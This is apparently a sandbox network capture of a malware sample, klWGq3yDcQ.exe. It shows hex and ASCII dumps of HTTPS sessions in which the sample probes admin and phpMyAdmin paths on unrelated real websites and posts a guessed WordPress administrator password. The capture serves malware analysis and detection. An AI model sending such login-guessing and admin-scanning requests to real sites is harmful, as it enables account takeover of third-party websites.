61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:47 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	53186	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	169	OUT	GET /admin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	631	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 61 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/adminCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"ur
2023-11-26 05:59:47 UTC	417	IN	Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	53071	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	180	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	206	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 70 68 70 4d 79 41 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/phpMyAdmin/
2023-11-26 05:59:47 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	53236	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:47 UTC	169	OUT	GET /admin HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	928	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 38 33 38 35 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 Data Ascii: HTTP/1.1 403 ForbiddenConnection: closeCache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700978385"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov 2023 05:59:45 GMTServ
2023-11-26 05:59:47 UTC	6	IN	Data Raw: 34 38 32 30 0d 0a Data Ascii: 4820
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 69 6f 6e 49 44 3a 76 6f 69 64 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 Data Ascii: ionID:void 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d Data Ascii: ed:!0,harvestTimeSeconds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0}
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 70 3d 22 41 6c 6c 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 Data Ascii: p="All configuration objects require an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 2c 45 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 Data Ascii: ,E={};function j(e){if(!e)throw new Error("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent ident
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 3d 3e 61 2c 63 76 3a 28 29 3d 3e 6c 2c 69 53 3a 28 29 3d 3e 6f 2c 69 6c 3a 28 29 3d 3e 72 2c 75 78 3a 28 29 3d 3e 63 2c 76 36 3a 28 29 3d 3e 69 2c 77 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 Data Ascii: =>a,cv:()=>l,iS:()=>o,il:()=>r,ux:()=>c,v6:()=>i,w1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNaviga
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 65 73 28 74 29 26 26 28 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 74 5b 74 5d 3d 6e 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 72 2e 5a 29 28 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 Data Ascii: es(t)&&(this.sharedContext[t]=n)}))}catch(e){(0,r.Z)("An error occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priori
2023-11-26 05:59:47 UTC	1368	IN	Data Raw: 7b 7d 76 61 72 20 67 3d 7b 6f 6e 3a 68 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 68 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 Data Ascii: {}var g={on:h,addEventListener:h,removeEventListener:function(e,t){var n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	52730	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:47 UTC	182	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	530	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 73 64 36 37 6b 73 70 37 30 67 76 6f 66 6a 63 67 62 76 6d 62 35 76 33 63 65 70 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 36 3a 35 39 3a 34 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:47 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=sd67ksp70gvofjcgbvmb5v3cep; expires=Sun, 26-Nov-2023 06:59:47 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 05:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	53162	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:47 UTC	382	OUT	POST /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=6roekjfukh5didgf2fujkrpg5v User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/wp-login.php Content-Length: 162 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:47 UTC	162	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 57 65 6c 63 6f 6d 65 32 30 31 36 25 32 34 26 77 70 73 65 63 5f 63 61 70 74 63 68 61 5f 61 6e 73 77 65 72 3d 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=Welcome2016%24&wpsec_captcha_answer=&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fengel-firm.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:47 UTC	232	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 32 39 20 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 72 65 74 72 79 2d 61 66 74 65 72 3a 20 30 0d 0a 78 2d 62 61 63 6b 65 6e 64 3a 20 76 61 72 6e 69 73 68 5f 73 73 6c 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 0d 0a Data Ascii: HTTP/1.1 429 Too Many RequestsServer: openrestyDate: Sun, 26 Nov 2023 05:59:48 GMTContent-Length: 0Connection: closeretry-after: 0x-backend: varnish_sslStrict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	53272	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	176	OUT	GET /admin.php HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:57 UTC	305	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:57 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:57 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	53147	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
